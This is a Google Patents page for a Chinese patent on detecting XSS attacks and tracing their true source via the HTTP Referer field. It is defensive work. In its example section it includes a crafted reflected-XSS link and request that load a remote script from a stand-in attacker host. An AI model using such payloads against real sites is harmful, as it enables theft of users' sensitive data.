CN101895516B - 一种跨站脚本攻击源的定位方法及装置 - Google Patents
一种跨站脚本攻击源的定位方法及装置 Download PDFInfo
- Publication number
- CN101895516B CN101895516B CN200910084265.3A CN200910084265A CN101895516B CN 101895516 B CN101895516 B CN 101895516B CN 200910084265 A CN200910084265 A CN 200910084265A CN 101895516 B CN101895516 B CN 101895516B
- Authority
- CN
- China
- Prior art keywords
- source
- http request
- http
- web
- attack
- Prior art date
- Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
- Expired - Fee Related
Links
Landscapes
- Computer And Data Communications (AREA)
Abstract
一种跨站脚本攻击源的定位方法及装置;方法包括:A、获取完整的超文本传输协议HTTP请求消息,检查该HTTP请求中是否包含跨站脚本攻击,如果有则执行B,否则结束;B、当发现该HTTP请求的链接源为空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,判定该HTTP请求的发送者为本次跨站脚本攻击源并结束,否则继续执行C;C、获取该HTTP请求链接源所对应的Web网页,并检索该Web网页,如果包含一个发起本次跨站脚本攻击的页面链接地址,则判定该HTTP请求链接源为本次跨站脚本攻击源,否则判定该HTTP请求发送者为本次跨站脚本攻击源。本发明可以准确定位XSS攻击的攻击源。
Description
技术领域
本发明涉及网络安全技术领域,尤其涉及一种跨站脚本攻击源定位方法及装置。
背景技术
Web应用系统在为人们生活和工作带来便利的同时,也带来了很多安全问题。这些安全问题包括威胁到Web服务器安全的SQL(Structured QueryLanguage,结构化查询语言)注入攻击、可疑文件执行和越权对象访问等安全攻击事件,也包括成胁到Web客户端安全的跨站脚本(CrossSite Scripting,以下简称为XSS)注入等安全攻击事件。据国际著名Web安全开放组织OWASP统计,2007年,XSS攻击事件居十大Web安全事件之首。从国际漏洞库组织CVE库2002年至2007年关于XSS攻击事件的统计来看,XSS攻击事件的发生频率正呈逐年增长趋势。
XSS攻击存在的根源在于:Web服务器方程序代码存在缺陷,未能对用户输入数据进行严格检查和过滤,以至于恶意攻击者可以通过用户输入域注入恶意脚本,这些注入的恶意脚本可通过Web服务器反射到受害者Web浏览器执行,从而达到偷取受害者敏感数据或者在受害者安全上下文环境下执行恶意动作等目的。目前,可以被利用来执行XSS攻击的脚本包括Javascript脚本和VBScript脚本。但目前为最常见的XSS攻击都是采用Javascript脚本。
自从XSS攻击被发现以来,人们开始了XSS攻击检测和防御方面的研究,并陆续出现了面向Web浏览器端、Web服务器端和安全网关的安全解决方案。现有的一种可应用到安全网关的用来检测脚本注入攻击的方法和系统,能通过对HTTP(Hypertext Transfer Protocol,超文本传输协议)请求中的用户输入数据进行数据解码、文档对象模型分析、文档对象模型脚本提取和脚本语法检测等步骤,从用户输入数据中准确提取出可疑的注入脚本,但是不能判定注入脚本是否为XSS攻击。另一种用来对注入脚本进行静态分析的方法和系统,尝试从注入脚本中提取和XSS攻击相关的行为特征串,一旦XSS攻击行为特征串提取成功,则认为该脚本注入攻击为一个XSS攻击;但是,无法准确获取本次XSS攻击的攻击源信息,因此无法对本次XSS攻击进行有效的应急响应。
发明内容
本发明要解决的技术问题是提供一种跨站脚本攻击源定位方法及装置,克服了传统跨站脚本攻击检测方法只能检测出某HTTP请求消息中包含跨站脚本攻击,而不能对本次跨站脚本攻击源进行准确定位的缺点,能够在对HTTP请求消息进行XSS攻击检测后,准确定位XSS攻击的攻击源。
为了解决上述问题,本发明提供了一种跨站脚本攻击源的定位方法,包括:
A、获取完整的超文本传输协议HTTP请求消息,检查该HTTP请求中是否包含跨站脚本攻击,如果发现跨站脚本攻击,则执行步骤B,否则结束;
B、当发现该HTTP请求的链接源为空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,判定该HTTP请求的发送者为本次跨站脚本攻击源并结束,否则继续执行步骤C;
C、获取该HTTP请求链接源所对应的Web网页,并检索该Web网页,当发现该Web网页包含一个发起本次跨站脚本攻击的页面链接地址,则判定该HTTP请求链接源为本次跨站脚本攻击源,否则判定该HTTP请求发送者为本次跨站脚本攻击源。
进一步地,所述步骤A具体包括:
(A1)获取完整的HTTP请求消息;
(A2)从HTTP请求中提取用户输入数据;
(A3)对用户输入数据进行解码;
(A4)对解码后的用户输入数据执行文档对象模型结构分析,将解码后的用户输入数据其转换为一个文档对象模型树;
(A5)从所述文档对象模型树中提取注入脚本;
(A6)检测所述注入脚本中是否有XSS攻击行为特征;如果有则执行步骤B,否则结束。
进一步地,所述步骤B中:
所述的HTTP请求的链接源是指该HTTP请求的上一链接页面,包含在HTTP请求的Referer协议字段中。
进一步地,所述步骤B中:
通过比较HTTP请求链接源中的Web域名与HTTP请求Host协议字段中的Web域名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属于同一个Web网站,如果一致则判断属于同一个Web网站。
进一步地,所述步骤C中:
采用Boyer-More单模式匹配方法检查HTTP请求链接源所对应Web页面是否包含发起本次跨站脚本攻击URL的页面链接。
本发明还提供了一种跨站脚本攻击源的定位装置,包括:
消息获取模块、检测模块、分析模块、网页检索模块及攻击源判断模块;
所述消息获取模块用于获取完整的HTTP请求消息,发送给所述检测模块;
所述检测模块用于检查所收到的HTTP请求中是否包含跨站脚本攻击,如果发现跨站脚本攻击,则将所述HTTP请求发送给所述分析模块,否则不进行处理;
分析模块用于分析所收到的HTTP请求的链接源,当发现该HTTP请求的链接源为空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,发送消息给所述攻击源判断模块;否则将所述HTTP请求发送给所述网页检索模块;
所述网页检索模块用于获取所收到的HTTP请求链接源所对应的Web网页,并检索该Web网页,当发现该Web网页包含一个发起本次跨站脚本攻击的页面链接地址,则发送表示“包含”的消息给所述攻击源判断模块,否则发送表示“不包含”的消息给所述攻击源判断模块;
所述攻击源判断模块用于当收到所述分析模块发送的消息时,判定该HTTP请求的发送者为本次跨站脚本攻击源;以及当收到所述网页检索模块发送的表示“包含”的消息时判定所述HTTP请求链接源为本次跨站脚本攻击源,当收到所述网页检索模块发送的表示“不包含”的消息时判定该HTTP请求发送者为本次跨站脚本攻击源。
进一步地,所述检测模块具体包括:
提取子模块,用于从HTTP请求中提取用户输入数据;
解码子模块,用于对用户输入的数据解码;
注入脚本提取子模块,用于对解码后的用户输入数据执行文档对象模型结构分析,将解码后的用户输入数据转换为一个文档对象模型树;从所述文档对象模型树中提取注入脚本;
判断子模块,用于从注入脚本中提取跨站脚本攻击行为特征;如果能提取到,则判断为发现跨站脚本攻击;否则不进行处理。
进一步地,所述分析模块所分析的HTTP请求的链接源是指该HTTP请求的上一链接页面,包含在HTTP请求的Referer协议字段中。
进一步地,所述分析模块通过比较HTTP请求链接源中的Web域名与HTTP请求Host协议字段中的Web域名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属于同一个Web网站,如果一致则判断属于同一个Web网站。
进一步地,所述网页检索模块采用Boyer-More单模式匹配方法检查HTTP请求链接源所对应Web页面是否包含发起本次跨站脚本攻击URL的页面链接。
本发明的技术方案区分了反射式XSS攻击和存储式XSS攻击,并找出了两种XSS攻击案例中XSS攻击源的不同之处,在以HTTP请求消息为待检测对象检测到XSS攻击后,通过检查该HTTP请求消息的链接源信息来定位本次XSS攻击的真正攻击源,而不是简单的将本次HTTP请求消息的发送者当成XSS攻击源,从而为网络管理员对本次XSS攻击的攻击源进行追溯和安全应急响应提供了极大方便。
附图说明
图1为一个典型的反射式XSS攻击案例;
图2为本发明实施例一的跨站脚本攻击源的定位方法的流程示意图;
图3为本发明实施例二的跨站脚本攻击源的定位装置的示意框图。
具体实施方式
本发明的基本思想是:
XSS攻击类型不仅包括存储式XSS攻击,还可以包括一种反射式XSS攻击;而对于不同类型的XSS攻击,攻击源并不相同;通过对反射式XSS攻击的原理进行分析,设计对该类型XSS攻击中的攻击源进行定位的方法;进一步来说,以完整HTTP请求为待检测对象,区分XSS的攻击类型,并相应定位攻击源。
图1为一个典型的反射式XSS攻击案例。该反射式XSS攻击案例包括四个参与者:Web浏览器、Hack1.com Web网站、Ebank.com Web网站和Hacker2.com Web网站。该反射式XSS攻击是由hacker1.com和hacker2.com这两个恶意网站联合导演的,它利用了Ebank.com Web网站上的一个反射式XSS漏洞(假设反射式XSS漏洞存在于Ebank.com Web网站的search.asp页面中),将对图1中的Web客户端实施XSS攻击,盗取Ebank.com网站存储在Web客户端的敏感信息,并将这些敏感信息发送到hacker2.com上。
从Web服务器的角度来看,反射式XSS攻击过程中的XSS攻击代码是由受害者的Web浏览器提交的;但是,受害者并不可能自己注入XSS攻击代码来攻击自己,因此,在反射式XSS攻击案例中,黑客需要通过某种社会工程学方法强迫受害者Web浏览器发起XSS攻击,该XSS攻击包含了黑客内置的XSS攻击脚本,而这些XSS攻击脚本在经过XSS漏洞反射后被Web浏览器执行并将具有访问Ebank.com网站的权限。
假设黑客为利用Ebank.com上的这个反射式XSS漏洞,它在Hacker1.com首页的Web页面中嵌入下述超级链接:
<A
href=”http://ebank.com/s.asp?q=<script+src%3Dhttp://hacker2.com/xss.js>”>
Visit Ebank.com</a> (页面1)
假设图1中的Web浏览器由于某种原因正好访问了Hacker1.com这个网站的首页,并点击了页面1中的这个被黑客精心构造的超级链接,那么,Web浏览器将发出如下一个HTTP请求消息给Ebank网站。
GET
/search.asp?keywords=%3CJAVASCRIPT%2F%2Fwww.hacker2.com/xss.js%2
2%3E HTTP/1.1
Accept:image/gif,*/*
Referer:http://hacker1.com/
Accept-Language:zh-cn
Accept-Encoding:gzip,deflate
If-Modified-Since:Fri,27Mar 200907:17:28GMT;length=222449
Host:ebank.com
Connection:Keep-AliVe
由于Ebank的search.asp存在反射式XSS漏洞,因此,当Ebank网站接收到上述的HTTP请求后,该HTTP请求的URL(Uniform Resource Locator,统一资源定位符)参数中所注入的Javascript代码(这里为<javascriptsrc=http://hacker2.com/xss.js>)将反射到Web浏览器并被执行;于是,Web浏览器下载由“http://hacker2.com/xss.js”所指定的远程Javascript代码并执行它,从而达到XSS攻击目的。
从这里可以看出,在如图1所示的整个反射式XSS攻击过程中,Web浏览器是被hacker1.com绑架来向Ebank服务器发起XSS攻击的,真正的XSS攻击者是hacker1.com网站。但是,如果采用现有技术中描述的那种XSS攻击检测方法来检测,则会将Web浏览器判定为本次XSS攻击的攻击源,这显然是不对的,因为,本次XSS攻击的真正发起者为hacker1.com,而不是受害者Web浏览器。
下面将结合附图及实施例对本发明的技术方案进行更详细的说明。
实施例一,一种跨站脚本攻击源的定位方法,包括以下步骤:
A、获取完整的HTTP请求消息,检查该HTTP请求中是否包含XSS攻击,如果发现XSS攻击,则执行步骤B,否则结束;
B、分析该HTTP请求的链接源,当发现该HTTP请求的链接源为空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,判定该HTTP请求的发送者为本次XSS攻击源并结束,否则继续执行步骤C;
C、获取该HTTP请求链接源所对应的Web网页,并检索该Web网页,当发现该Web网页包含一个发起本次XSS攻击的页面链接地址,则判定该HTTP请求链接源为本次XSS攻击源,否则判定该HTTP请求发送者为本次XSS攻击源。
本实施例的所述步骤A具体包括以下步骤:
(A1)获取完整的HTTP请求消息;
(A2)从HTTP请求中提取用户输入数据;
(A3)对用户输入数据进行解码;
(A4)对解码后的用户输入数据执行文档对象模型结构分析,将解码后的用户输入数据转换为一个文档对象模型树;
(A5)从所述文档对象模型树中提取注入脚本;
(A6)检测所述注入脚本中是否有XSS攻击行为特征;如果有则执行步骤B,否则结束。
本实施例的所述步骤(A1)到(A5)可以采用专利200710179538.3中所述的方法完成;实际应用时也不排除用其它方式实现。
本实施例的所述步骤(A1)中获取完整的HTTP请求消息的方式包括但不限于以下三种方式中的任一种或任几种:
一、HTTP代理方式;
二、Web服务器内嵌方式;
三、被动获取方式。
基于HTTP代理方式的HTTP请求获取方式包括:1)在Web用户网络端部署客户端HTTP代理来截获发往Web服务器的所有HTTP请求消息;2)在Web服务器端部署HTTP代理,截获发往其后台被保护Web服务器的所有HTTP请求。
基于Web服务器内嵌方式是指通过为特定Web服务器软件模块添加第三方插件方式来获取所有将被该Web服务器软件处理的HTTP请求消息。比如,对于Apache服务器软件,可通过Apache服务器软件开放的API接口开发第三方插件,在Apache服务器软件正式处理该HTTP请求前,通过扫描该HTTP请求来检测是否为一个脚本注入攻击;对于Microsoft的Internet信息服务器(Internet Information Server,IIS),可以通过其开放的过滤器插件API编写一个拦截和检测HTTP请求消息的过滤插件。
被动方式获取HTTP请求消息是指以被动方式收集本网络内所有与HTTP协议相关的网络数据包,或者以被动方式收集流经监听设备的所有与HTTP协议相关的网络数据包,经网络数据包碎片处理、TCP数据流重组和HTTP协议分析等步骤获取HTTP请求消息。
实际应用时也不排除用其它方式获取完整的HTTP请求消息。
本实施例的所述步骤(A2)中可以但不限于是指提取HTTP请求消息200中的以下4个协议域值:URL参数210、COOKIE值220、Referer值230和表单数据240。
本实施例的所述步骤(A3)中首先根据各协议域编码规范对协议域数据进行名称和值对的分割。对于URL参数协议域编码方式为由地址符’&’分割的多个名称值对组成的字符串,比如,Name1=VAL1 & Name2=VAL2,这里需要首先根据‘&’对字符串进行切割,然后再按‘=’进行切割,得到用户输入数据值VAL1和VAL2。COOKIE协议域编码规范与URL参数协议与编码方式基本类似,区别是其名称值对的分割符不为’&’,而是’;’字符。Referer协议域和表单数据基本编码规范与URL参数编码规范完全相同,因此,用户输入数据的提取方式也相同。
本实施例的所述步骤(A3)中对用户输入数据的解码包括基于HTTP协议编码规范的解码和HTML协议编码规范的解码。
根据HTTP协议编码规范:一个空格将被编码为‘+’,其它不可显示字符或有特殊含义的字符将被编码为’%XX’的十六进制编码。比如,字符’=’将被编码为’%3D’。因此,这里的HTTP协议解码为:将用户输入数据中的’+’字符变为空格字符(十六进制值为0x20),将’%XX’解码为一个其十六进制值为0xXX的单字节字符。
根据HTML协议编码规范,一个具有特殊含义的字符可能编码为以下几种方式:友好编码方式;十进制编码方式和十六进制编码方式。比如引号字符按友好编码方式将编码’";’,按十进制编码方式将编码为’';’,按十六进制编码方式将被编码为’;’。因此,这里的HTML解码方法即为将其重新解码成其所对应的原始字符。
本实施例的所述步骤(A4)中,将整个解码后用户输入数据看成是一段HTML格式数据,然后采用标准HTML文档对象模型结构分析方法将其转换为一个文档对象模型树。
本实施例的所述步骤(A5)中,遍历整个文档对象模型树中各HTML标签,全面提取所有可能的注入脚本;提取注入脚本的方法包括以下五种脚本提取方法的任一种或其任意组合:
(1)从文档对象模型树各<script>标签中提取Javascript/VBScript脚本;
(2)从文档对象模型树各HTML标签的事件驱动函数中提取Javascript/VBScript脚本;
(3)从文档对象模型树各HTML标签的特定属性值中提取Javascript/VBScript脚本;
(4)从文档对象模型树各<STYLE>标签定义的样式表中提取Javascript/VBScript脚本;
(5)从文档对象模型树各HTML标签的Style属性引入的样式表中提取JavaScript/VBScript脚本。
本实施例的所述步骤(A6)可以采用专利200710303986.x中所述的方法完成;实际应用时也不排除用其它方式实现。
本实施例的所述步骤(A6)具体可以包括:
对提取的注入脚本解析,得到完整的HTTP请求,以及各个域的类型和位置;
判断所述HTTP请求的各个域中是否含有XSS攻击行为,所述XSS攻击行为包括:
访问敏感数据;
传输敏感信息;
访问敏感函数。
如果含有XSS攻击行为,则执行步骤B,否则结束。
通常,攻击脚本都有一些特殊的标志(即关键词),当某个域中出现相应关键词时判断该域含有XSS攻击行为。
在另一种实施方式中,可以对不同的攻击标志按照可能性程度赋值;当在所述HTTP请求中检查到某个域中含有的XSS攻击行为时,根据该XSS攻击行为所对应的分值,对所述注入脚本累加赋值,直到检查完整个HTTP请求;设定一阈值,当一注入脚本累加赋值的结果大于或等于该阈值时,判定注入脚本含有XSS攻击行为,执行步骤B,否则结束。
本实施例中,所述步骤B中所述的HTTP请求的链接源是指该HTTP请求的上一链接页面,包含在HTTP请求的Referer协议字段中。
本实施例中,所述步骤B通过比较HTTP请求链接源中的Web域名与HTTP请求Host协议字段中的Web域名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属于同一个Web网站,如果一致则判断属于同一个Web网站。
本实施例中,所述步骤C采用单模式匹配方法,可以但不限于为Boyer-More单模式匹配算法,检查HTTP请求链接源所对应Web页面是否包含发起本次XSS攻击URL的页面链接。
为便于本技术领域普通技术人员能够更好的实施本发明,结合图1中的反射式XSS攻击的例子解释本实施例是如何对XSS攻击源进行有效定位的。
本发明所述跨站脚本攻击源定位方法以完整的HTTP请求消息为待检测对象,因此首先获取完整的HTTP请求消息;然后检查HTTP请求的URL参数中是否包含XSS攻击,即先提取URL参数,按照HTTP协议编码规则进行解码、对解码后的数据进行文档对象模型结构分析得到文档对象模型树、从所述文档对象模型树中进行Javascript脚本提取,检测所提取的脚本中是否有XSS攻击行为特征,如果最终从Javascript脚本中成功提取出预先定义的XSS攻击行为特征,则判定该HTTP请求的URL参数中包含了XSS攻击。比如,对于如上例中所示的HTTP请求消息,其URL参数名为keywords,值为“%3CJAVASCRIPT%2F%2Fwww.hacker2.com/xss.js%22%3E”,对该用户输入数据进行解码后得到<JAVASCRIPT SRC=http://hacker2.com/xss.js>。然后对其进行文档对象模型结构分析,得到名字为JAVASCRIPT的HTML标签,其属性SRC的值指向一个需要远程下载执行的Javascript脚本。然后,对该下载执行的远程Javascript脚本进行文档对象模型结构分析、Javascript脚本内容提取和XSS攻击行为特征提取等步骤,最后确认该HTTP请求的URL参数中包含了一个XSS攻击。
下面继续执行本发明所述XSS攻击源定位的步骤B,即检查该HTTP请求的链接源是否为空,或者与该HTTP请求URL是否属于同一个Web网站,如果发现该HTTP请求的链接源为空,或者与该HTTP请求URL属于同一个Web网站,则判定该HTTP请求的发送者为本次XSS攻击的攻击源并报警,否则继续执行步骤C以进一步定位XSS攻击源。
比如,如上例所示的HTTP请求消息,本发明所述跨站脚本攻击源定位方法首先抽取该HTTP请求的链接源(即HTTP请求消息中的Referer变量),这里抽取到的HTTP请求链接源为“http://hacker1.com/”。进一步从中抽取Web域名信息为hacker1.com;然后,抽取该HTTP请求URL的Web域名信息,即从该HTTP请求消息的Host协议字段中抽取Web域名信息“ebank.com”;然后,比较这两个Web域名发现,它们并不属于同一个Web网站,因此,需要继续执行步骤C来进一步定位XSS攻击源。
本发明所述跨站脚本攻击源定位方法的步骤C需要检查该HTTP请求的链接源所对应的页面中是否包含了用来发起本次XSS攻击的页面链接地址。具体步骤为:首先,从该HTTP请求的Referer协议字段中抽取链接源URL;然后,根据该URL将链接源所对应Web页面下载下来,最后,采用单模式匹配算法对该链接源所对应Web页面检索,如果在该Web页面中检索到了本次XSS攻击相关的URL链接,则判定该HTTP请求链接源URL为本次XSS攻击的攻击源。
比如,如上文例子中所述的HTTP请求消息,所述方法首先从该HTTP请求消息的Referer协议字段中获取链接源URL,然后,采用标准HTTP协议将该链接源URL所对应的Web页面下载下来,得到如页面1所示的Web页面;然后,以本次XSS攻击所对应URL为模式(这里为http://ebank.com/search.asp?keywords=%3CJAVASCRIPT%2F%2Fwww.hacker2.com/xss.js%22%3E),以下载的HTTP请求链接源Web页面为文本,执行Boyer-More单模式匹配算法,发现该Web页面包含上述模式,因此判定上文例子中所述的XSS攻击的真正攻击源来自该HTTP请求链接源,而不是该HTTP请求的发送者。
实施例二,一种跨站脚本攻击源的定位装置,包括:消息获取模块、检测模块、分析模块、网页检索模块及攻击源判断模块。
所述消息获取模块用于获取完整的HTTP请求消息,发送给所述检测模块;
所述检测模块用于检查所收到的HTTP请求中是否包含XSS攻击,如果发现XSS攻击,则将所述HTTP请求发送给所述分析模块,否则不进行处理;
分析模块用于分析所收到的HTTP请求的链接源,当发现该HTTP请求的链接源为空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,发送消息给所述攻击源判断模块;否则将所述HTTP请求发送给所述网页检索模块;
所述网页检索模块用于获取所收到的HTTP请求链接源所对应的Web网页,并检索该Web网页,当发现该Web网页包含一个发起本次XSS攻击的页面链接地址,则发送表示“包含”的消息给所述攻击源判断模块,否则发送表示“不包含”的消息给所述攻击源判断模块;
所述攻击源判断模块用于当收到所述分析模块发送的消息时,判定该HTTP请求的发送者为本次XSS攻击源;以及当收到所述网页检索模块发送的表示“包含”的消息时判定所述HTTP请求链接源为本次XSS攻击源,当收到所述网页检索模块发送的表示“不包含”的消息时判定该HTTP请求发送者为本次XSS攻击源。
本实施例中,所述检测模块具体包括:
提取子模块,用于从HTTP请求中提取用户输入数据;
解码子模块,用于对用户输入的数据解码;
注入脚本提取子模块,用于对解码后的用户输入数据执行文档对象模型结构分析,将解码后的用户输入数据转换为一个文档对象模型树;从所述文档对象模型树中提取注入脚本;
判断子模块,用于从注入脚本中提取XSS攻击行为特征;如果能提取到,则判断为发现XSS攻击;否则不进行处理。
各子模块的具体实现细节同实施例一中相应部分的方法一致,这里不再赘述。
本实施例中,所述分析模块所分析的HTTP请求的链接源是指该HTTP请求的上一链接页面,包含在HTTP请求的Referer协议字段中。
本实施例中,所述分析模块通过比较HTTP请求链接源中的Web域名与HTTP请求Host协议字段中的Web域名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属于同一个Web网站,如果一致则判断属于同一个Web网站。
本实施例中,所述网页检索模块采用单模式匹配方法检查HTTP请求链接源所对应Web页面是否包含发起本次XSS攻击URL的页面链接。
当然,本发明还可有其他多种实施例,在不背离本发明精神及其实质的情况下,熟悉本领域的技术人员当可根据本发明作出各种相应的改变和变形,但这些相应的改变和变形都应属于本发明的权利要求的保护范围。
Claims (8)
1.一种跨站脚本攻击源的定位方法,包括:
A、获取完整的超文本传输协议HTTP请求消息,从HTTP请求中提取用户输入数据,对用户输入数据进行解码,对解码后的用户输入数据执行文档对象模型结构分析,将解码后的用户输入数据其转换为一个文档对象模型树,从所述文档对象模型树中提取注入脚本检测所述注入脚本中是否有XSS攻击行为特征;如果有则执行步骤B,否则结束;
B、当发现该HTTP请求的链接源为空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,判定该HTTP请求的发送者为本次跨站脚本攻击源并结束,否则继续执行步骤C;
C、获取该HTTP请求链接源所对应的Web网页,并检索该Web网页,当发现该Web网页包含一个发起本次跨站脚本攻击的页面链接地址,则判定该HTTP请求链接源为本次跨站脚本攻击源,否则判定该HTTP请求发送者为本次跨站脚本攻击源。
2.如权利要求1所述的定位方法,其特征在于,所述步骤B中:
所述的HTTP请求的链接源是指该HTTP请求的上一链接页面,包含在HTTP请求的Referer协议字段中。
3.如权利要求1所述的定位方法,其特征在于,所述步骤B中:
通过比较HTTP请求链接源中的Web域名与HTTP请求Host协议字段中的Web域名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属于同一个Web网站,如果一致则判断属于同一个Web网站。
4.如权利要求1到3中任一项所述的定位方法,其特征在于,所述步骤C中:
采用Boyer-More单模式匹配方法检查HTTP请求链接源所对应Web页面是否包含发起本次跨站脚本攻击URL的页面链接。
5.一种跨站脚本攻击源的定位装置,其特征在于,包括:
消息获取模块、检测模块、分析模块、网页检索模块及攻击源判断模块;
所述消息获取模块用于获取完整的HTTP请求消息,发送给所述检测模块;
所述检测模块用于检查所收到的HTTP请求中是否包含跨站脚本攻击,如果发现跨站脚本攻击,则将所述HTTP请求发送给所述分析模块,否则不进行处理;其中所述检测模块具体包括:提取子模块,用于从HTTP请求中提取用户输入数据;解码子模块,用于对用户输入的数据解码;注入脚本提取子模块,用于对解码后的用户输入数据执行文档对象模型结构分析,将解码后的用户输入数据转换为一个文档对象模型树;从所述文档对象模型树中提取注入脚本;判断子模块,用于从注入脚本中提取跨站脚本攻击行为特征;如果能提取到,则判断为发现跨站脚本攻击;否则不进行处理;
分析模块用于分析所收到的HTTP请求的链接源,当发现该HTTP请求的链接源为空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,发送消息给所述攻击源判断模块;否则将所述HTTP请求发送给所述网页检索模块;
所述网页检索模块用于获取所收到的HTTP请求链接源所对应的Web网页,并检索该Web网页,当发现该Web网页包含一个发起本次跨站脚本攻击的页面链接地址,则发送表示“包含”的消息给所述攻击源判断模块,否则发送表示“不包含”的消息给所述攻击源判断模块;
所述攻击源判断模块用于当收到所述分析模块发送的消息时,判定该HTTP请求的发送者为本次跨站脚本攻击源;以及当收到所述网页检索模块发送的表示“包含”的消息时判定所述HTTP请求链接源为本次跨站脚本攻击源,当收到所述网页检索模块发送的表示“不包含”的消息时判定该HTTP请求发送者为本次跨站脚本攻击源。
6.如权利要求5所述的定位装置,其特征在于:
所述分析模块所分析的HTTP请求的链接源是指该HTTP请求的上一链接页面,包含在HTTP请求的Referer协议字段中。
7.如权利要求6所述的定位装置,其特征在于:
所述分析模块通过比较HTTP请求链接源中的Web域名与HTTP请求Host协议字段中的Web域名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属于同一个Web网站,如果一致则判断属于同一个Web网站。
8.如权利要求6或7所述的定位装置,其特征在于:
所述网页检索模块采用Boyer-More单模式匹配方法检查HTTP请求链接源所对应Web页面是否包含发起本次跨站脚本攻击URL的页面链接。
Priority Applications (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN200910084265.3A CN101895516B (zh) | 2009-05-19 | 2009-05-19 | 一种跨站脚本攻击源的定位方法及装置 |
Applications Claiming Priority (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN200910084265.3A CN101895516B (zh) | 2009-05-19 | 2009-05-19 | 一种跨站脚本攻击源的定位方法及装置 |
Publications (2)
Publication Number | Publication Date |
---|---|
CN101895516A CN101895516A (zh) | 2010-11-24 |
CN101895516B true CN101895516B (zh) | 2014-08-06 |
Family
ID=43104583
Family Applications (1)
Application Number | Title | Priority Date | Filing Date |
---|---|---|---|
CN200910084265.3A Expired - Fee Related CN101895516B (zh) | 2009-05-19 | 2009-05-19 | 一种跨站脚本攻击源的定位方法及装置 |
Country Status (1)
Country | Link |
---|---|
CN (1) | CN101895516B (zh) |
Families Citing this family (15)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN102880830B (zh) * | 2011-07-15 | 2016-03-02 | 华为软件技术有限公司 | 一种原始测试数据的采集方法及装置 |
CN103001817B (zh) * | 2011-09-16 | 2016-08-10 | 厦门市美亚柏科信息股份有限公司 | 一种实时检测网页跨域请求的方法和装置 |
CN102833269B (zh) * | 2012-09-18 | 2016-03-30 | 山石网科通信技术有限公司 | 跨站攻击的检测方法、装置和具有该装置的防火墙 |
TWI489309B (zh) * | 2013-01-10 | 2015-06-21 | Nat Taiwan University Of Sience And Technology | 跨網站攻擊防禦系統及方法 |
CN104008328A (zh) * | 2013-02-27 | 2014-08-27 | 联想(北京)有限公司 | 资源加载方法和装置 |
CN104573520B (zh) * | 2013-10-09 | 2019-02-01 | 腾讯科技(深圳)有限公司 | 检测常驻式跨站脚本漏洞的方法和装置 |
CN105512559B (zh) | 2014-10-17 | 2019-09-17 | 阿里巴巴集团控股有限公司 | 一种用于提供访问页面的方法与设备 |
CN105592017B (zh) * | 2014-10-30 | 2019-03-29 | 阿里巴巴集团控股有限公司 | 跨站脚本攻击的防御方法及系统 |
CN107122667B (zh) * | 2017-03-08 | 2020-02-14 | 中国科学院信息工程研究所 | 一种应用漏洞检测方法及系统 |
CN108881101B (zh) * | 2017-05-08 | 2021-06-15 | 腾讯科技(深圳)有限公司 | 一种基于文档对象模型的跨站脚本漏洞防御方法、装置以及客户端 |
CN107832622B (zh) * | 2017-12-08 | 2019-03-12 | 平安科技(深圳)有限公司 | 漏洞检测方法、装置、计算机设备及存储介质 |
CN108259619B (zh) * | 2018-01-30 | 2021-08-24 | 成都东软学院 | 网络请求防护方法及网络通信系统 |
CN109165507B (zh) * | 2018-07-09 | 2021-02-19 | 深圳开源互联网安全技术有限公司 | 跨站脚本攻击漏洞检测方法、装置及终端设备 |
CN111756771B (zh) * | 2020-07-21 | 2023-04-18 | 腾讯科技(深圳)有限公司 | 跨站脚本攻击的检测方法和装置 |
CN113507440A (zh) * | 2021-06-08 | 2021-10-15 | 贵州电网有限责任公司 | 一种基于web应用运行时的零规则XSS攻击检测方法 |
Citations (2)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN101296087A (zh) * | 2007-04-23 | 2008-10-29 | Sap股份公司 | 用于防止跨站攻击的方法和系统 |
CN101356535A (zh) * | 2005-11-10 | 2009-01-28 | 株式会社Ntt都科摩 | 一种检测和防止java脚本程序中不安全行为的方法和装置 |
-
2009
- 2009-05-19 CN CN200910084265.3A patent/CN101895516B/zh not_active Expired - Fee Related
Patent Citations (2)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN101356535A (zh) * | 2005-11-10 | 2009-01-28 | 株式会社Ntt都科摩 | 一种检测和防止java脚本程序中不安全行为的方法和装置 |
CN101296087A (zh) * | 2007-04-23 | 2008-10-29 | Sap股份公司 | 用于防止跨站攻击的方法和系统 |
Also Published As
Publication number | Publication date |
---|---|
CN101895516A (zh) | 2010-11-24 |
Similar Documents
Publication | Publication Date | Title |
---|---|---|
CN101895516B (zh) | 一种跨站脚本攻击源的定位方法及装置 | |
Ismail et al. | A proposal and implementation of automatic detection/collection system for cross-site scripting vulnerability | |
CN108206802B (zh) | 检测网页后门的方法和装置 | |
US8819819B1 (en) | Method and system for automatically obtaining webpage content in the presence of javascript | |
CN105184159B (zh) | 网页篡改的识别方法和装置 | |
JP6624771B2 (ja) | クライアントベースローカルマルウェア検出方法 | |
US8024804B2 (en) | Correlation engine for detecting network attacks and detection method | |
CN101388768B (zh) | 检测恶意http请求的方法及装置 | |
CN103279710B (zh) | Internet信息系统恶意代码的检测方法和系统 | |
CN107209831B (zh) | 用于识别网络攻击的系统和方法 | |
CN105491053A (zh) | 一种Web恶意代码检测方法及系统 | |
CN109768992B (zh) | 网页恶意扫描处理方法及装置、终端设备、可读存储介质 | |
CN101964025A (zh) | Xss检测方法和设备 | |
CN105760379B (zh) | 一种基于域内页面关联关系检测webshell页面的方法及装置 | |
